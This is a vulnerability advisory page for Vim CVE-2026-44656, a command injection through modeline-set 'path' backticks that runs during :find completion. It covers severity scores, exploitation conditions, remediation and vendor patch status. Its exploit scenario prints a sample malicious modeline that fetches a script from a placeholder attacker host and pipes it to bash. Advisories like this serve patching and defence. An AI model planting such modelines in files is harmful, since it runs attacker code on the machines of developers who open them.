Skip to main content

Vim CVE-2026-44656

MEDIUM
OS Command Injection (CWE-78)
2026-05-08 GitHub_M
4.6
CVSS 4.0 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Attacker crafts file with backtick modeline
  2. Delivery
    Victim receives and opens file in Vim
  3. Exploit
    Modeline sets 'path' with embedded shell command
  4. Execution
    Victim triggers :find tab completion
  5. Persist
    Vim expands backtick in path during completion
  6. Impact
    Arbitrary shell command executes as victim user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Three concurrent conditions are required. First, Vim's modeline feature must be enabled - this is the default in most distributions and is controlled by 'set modeline' in vimrc; sites that explicitly set 'nomodeline' are not affected. Second, the victim must open a file containing a malicious modeline that sets the 'path' option with backtick-enclosed shell commands - meaning the attacker must deliver a specially crafted file to the victim's local filesystem. Third, the victim must actively trigger ':find' tab completion after opening the file (e.g., type ':find ' and press Tab) - this is a deliberate interactive action beyond simply viewing the file, which is the primary limiting factor distinguishing this from a pure open-to-own exploit. Additionally, exploitation is restricted to Unix/Linux platforms where shell backtick expansion is available; the upstream test suite explicitly guards tests with 'CheckUnix', so Windows Vim users are not affected by this specific code path.

Impact

The CVSS 4.0 score of 4.6 with AV:L and UI:A accurately reflects a constrained attack scenario. EPSS at 0.04% (13th percentile) and SSVC 'Exploitation: none' both confirm no known active exploitation or weaponized code at time of analysis. Although CWE-78 (OS Command Injection) is a severe vulnerability class capable of full user-level code execution, the real-world impact is substantially limited by two required user actions: the victim must open the crafted file, and must then actively trigger ':find' tab completion - a non-default workflow. SSVC marks this 'Automatable: no', meaning mass scanning or wormable exploitation is not feasible. The technical impact is rated 'partial' by SSVC, consistent with execution confined to the victim user's privilege level with no scope change. For most organizations, this is a genuine but low-urgency patching item; it is elevated only in developer-heavy environments where untrusted files are routinely opened in Vim with modelines enabled.

Exploit ScenarioDerived

An attacker distributes a malicious source file (e.g., a '.c' or '.py' file submitted via a pull request or sent via email) containing a modeline such as '// vim: set path+=curl attacker.com/payload.sh|bash :'. When a developer opens the file in Vim with modelines enabled and presses Tab to trigger ':find' completion, Vim expands the backtick expression and executes the embedded shell command under the developer's account. No confirmed public proof-of-concept exists at time of analysis, but the attack is straightforward to reproduce from the public commit diff and security advisory.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 24, 2026

OS command injection in Vim's ':find' tab-completion mechanism allows an attacker who controls a file's contents to execute arbitrary shell commands under the victim's user account, by exploiting the missing P_SECURE flag on the 'path' option prior to version 9.2.0435. Because 'path' lacked this flag, a file modeline could inject backtick-wrapped shell commands that Vim silently executed during file-name completion. No active exploitation has been confirmed (SSVC: Exploitation none, EPSS 0.04%), and the vendor-released patch is available in Vim 9.2.0435.

RemediationAI

Upgrade Vim to version 9.2.0435 or later, the vendor-released patch confirmed at https://github.com/vim/vim/releases/tag/v9.2.0435. Ubuntu users should apply the update described in USN-8304-1 at https://ubuntu.com/security/notices/USN-8304-1. As a pre-patch workaround, disable modeline processing by adding 'set nomodeline' to ~/.vimrc - this prevents any file from setting 'path' via embedded modelines, eliminating the injection vector entirely. The trade-off is that legitimate per-file configuration that developers rely on (file-type settings, indentation, etc.) will no longer be applied automatically. A more targeted alternative is enabling 'modelinestrict' ('set modelinestrict'), which restricts modelines to a reduced safe set of options; however, until the patch is applied, 'path' is not in that safe set, so 'nomodeline' remains the more reliable control.

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Vim's 'path' option specifies directories searched by commands like ':find' and 'gf'. When a path entry contains Unix backtick expressions (e.g., 'id'), Vim expands them by invoking the enclosed shell command - standard backtick substitution. Vim's internal 'P_SECURE' flag (defined in 'optiondefs.h') is the mechanism that prevents an option from being set via modelines (file-embedded configuration directives). CWE-78 (Improper Neutralization of Special Elements used in an OS Command) applies because Vim passed unvalidated backtick content from the 'path' option directly to shell expansion in 'expand_path_option()' in 'src/findfile.c'. The fix, per the commit at https://github.com/vim/vim/commit/190cb3c2b9c769a3972bcfd991a7b5b6cb771ef0, adds 'P_SECURE' to the 'path' option definition and inserts an explicit guard in 'expand_path_option()' to skip any path entry containing a backtick character. Affected products are identified by CPE 'cpe:2.3:a:vim:vim:*:*:*:*:*:*:*:*', covering all Vim releases before 9.2.0435.

Know when Vim gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 4.6 MEDIUM
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
vuln.today AI 4.4 MEDIUM

AV:L because exploitation occurs in local file-open context; PR:N since attacker provides file content without needing system privileges; UI:R for two-step victim interaction; C:L/I:L for user-level command execution with no scope change.

3.1 AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
4.0 AV:L/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
SUSE 4.4 MEDIUM
AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
Red Hat 5.3 MEDIUM

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Local
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Active
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
CVSS changed
May 08, 2026 - 23:22 NVD
4.6 (MEDIUM)
CVE Published
May 08, 2026 - 22:40 nvd
MEDIUM 4.6

DescriptionCVE.org

Vim is an open source, command line text editor. Prior to version 9.2.0435, an OS command injection vulnerability exists in Vim's :find command-line completion. When the path option contains backtick-enclosed shell commands, those commands are executed during file name completion. Because the path option lacks the P_SECURE flag, it can be set from a modeline, allowing an attacker who controls the contents of a file to execute arbitrary shell commands when the user opens that file in Vim and triggers :find completion. This issue has been patched in version 9.2.0435.

Threat Intelligence Overview

EPSS Score
0.0%
Top 87% exploitable
Prevalence
High
widely installed on Unix/Linux developer workstations and servers by default
Data Quality
7 sources
Confidence: High
NVD CVE.org EPSS Vulnrichment MSRC Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Small
Automatable
No
Human Impact· derived
High
Technical Impact
Partial

Priority Score

23
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +23
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Affected Products (CPE)CVE.org

cpe:2.3:a:vim:vim:*:*:*:*:*:*:*:*

More in Vim

View all
CVE-2022-3520 CRITICAL POC
9.8 Dec 02

Heap-based Buffer Overflow in GitHub repository vim/vim prior to 9.0.0765. Rated critical severity (CVSS 9.8), this vuln

CVE-2022-0729 HIGH POC
8.8 Feb 23

Use of Out-of-range Pointer Offset in GitHub repository vim/vim prior to 8.2.4440. Rated high severity (CVSS 8.8), this

CVE-2026-34714 HIGH POC
8.6 Mar 30

Code execution vulnerability in Vim before 9.2.0272 allows attackers to gain immediate arbitrary command execution upon

CVE-2019-12735 HIGH POC
8.6 Jun 05

getchar.c in Vim before 8.1.1365 and Neovim before 0.3.6 allows remote attackers to execute arbitrary OS commands via th

CVE-2021-3968 HIGH POC
8.0 Nov 19

vim is vulnerable to Heap-based Buffer Overflow. Rated high severity (CVSS 8.0), this vulnerability is remotely exploita

CVE-2022-1616 HIGH POC
7.8 May 07

Use after free in append_command in GitHub repository vim/vim prior to 8.2.4895. Rated high severity (CVSS 7.8), this vu

CVE-2022-1619 HIGH POC
7.8 May 08

Heap-based Buffer Overflow in function cmdline_erase_chars in GitHub repository vim/vim prior to 8.2.4899. Rated high se

CVE-2021-4136 HIGH POC
7.8 Dec 19

vim is vulnerable to Heap-based Buffer Overflow. Rated high severity (CVSS 7.8), this vulnerability is no authentication

CVE-2021-3973 HIGH POC
7.8 Nov 19

vim is vulnerable to Heap-based Buffer Overflow. Rated high severity (CVSS 7.8), this vulnerability is no authentication

CVE-2021-3927 HIGH POC
7.8 Nov 05

vim is vulnerable to Heap-based Buffer Overflow. Rated high severity (CVSS 7.8), this vulnerability is no authentication

CVE-2022-2125 HIGH POC
7.8 Jun 19

Heap-based Buffer Overflow in GitHub repository vim/vim prior to 8.2. Rated high severity (CVSS 7.8), this vulnerability

CVE-2022-2126 HIGH POC
7.8 Jun 19

Out-of-bounds Read in GitHub repository vim/vim prior to 8.2. Rated high severity (CVSS 7.8), this vulnerability is no a

Vendor StatusVendor

SUSE

Severity: Medium
Product Status
SLES15-SP5-CHOST-BYOS-SAP-CCloud Fixed
SLES15-SP6-CHOST-BYOS Fixed
SLES15-SP6-CHOST-BYOS-Aliyun Fixed
SLES15-SP6-CHOST-BYOS-Azure Fixed
SLES15-SP6-CHOST-BYOS-EC2 Fixed

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy